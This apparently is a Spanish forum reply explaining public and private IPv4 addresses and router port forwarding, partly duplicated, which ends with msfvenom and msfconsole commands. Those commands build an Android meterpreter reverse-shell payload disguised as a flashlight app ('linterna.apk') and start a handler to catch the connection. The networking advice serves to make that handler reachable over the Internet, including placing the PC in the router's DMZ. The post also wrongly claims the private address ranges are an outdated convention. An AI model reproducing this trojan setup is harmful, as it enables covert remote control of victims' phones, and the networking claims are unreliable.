Primero decirte que te vendría bien buscar algún libro de redes de computadores o sobre IPv4.
IP publica --------------> rango de direcciones IPs asignadas por los ISP cuando se contrata un adsl. Este rango de direcciones son administradas por la IANA. Son direcciones únicas en todo el rango de Internet.
IP privada --------------> rango de direcciones IPs asignados a equipos en una red privada por convención son los rangos 10.0.0.0/8 , 172.16.0.0/12 , 192.168.0.0/16. (esta convención esta desfasada por lo que puedes usar cualquier dirección)
Por otra parte has de saber que para cualquier programa la importancia de si la IP usada es la publica o la privada es nula, ya que los programas no distinguen entre unos tipos de IPs (si distinguen entre IPv4 e IPv6) y otros. El único al que le importa esto es a la arquitectura de tu red. Por lo tanto abría que ver que red usas para conectarte a Internet.
Suponiendo que tu red es la típica con un router el cual tiene asignada una IP publica y una privada y hace la conversión mediante NAT. Entonces Deberás abrir los puertos de tu router haciendo un PAT a la dirección privada de tu ordenador y también deberás poner tu dirección privada en el DMZ del router.
*Usar tu ip privada para redes local, usar tu ip publica para funcionar a través de Internet
IP publica --------------> rango de direcciones IPs asignadas por los ISP cuando se contrata un adsl. Este rango de direcciones son administradas por la IANA. Son direcciones únicas en todo el rango de Internet.
IP privada --------------> rango de direcciones IPs asignados a equipos en una red privada por convención son los rangos 10.0.0.0/8 , 172.16.0.0/12 , 192.168.0.0/16. (esta convención esta desfasada por lo que puedes usar cualquier dirección)
Por otra parte has de saber que para cualquier programa la importancia de si la IP usada es la publica o la privada es nula, ya que los programas no distinguen entre unos tipos de IPs (si distinguen entre IPv4 e IPv6) y otros. El único al que le importa esto es a la arquitectura de tu red. Por lo tanto abría que ver que red usas para conectarte a Internet.
Suponiendo que tu red es la típica con un router el cual tiene asignada una IP publica y una privada y hace la conversión mediante NAT. Entonces Deberás abrir los puertos de tu router haciendo un PAT a la dirección privada de tu ordenador y también deberás poner tu dirección privada en el DMZ del router.
Código [Seleccionar]
msfvenom –p android/meterpreter/reverse_tcp LHOST=(*tu ip privada o publica) LPORT=(port)R > /root/linterna.apk
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST (tu ip privada)
set LPORT (port)
exploit
*Usar tu ip privada para redes local, usar tu ip publica para funcionar a través de Internet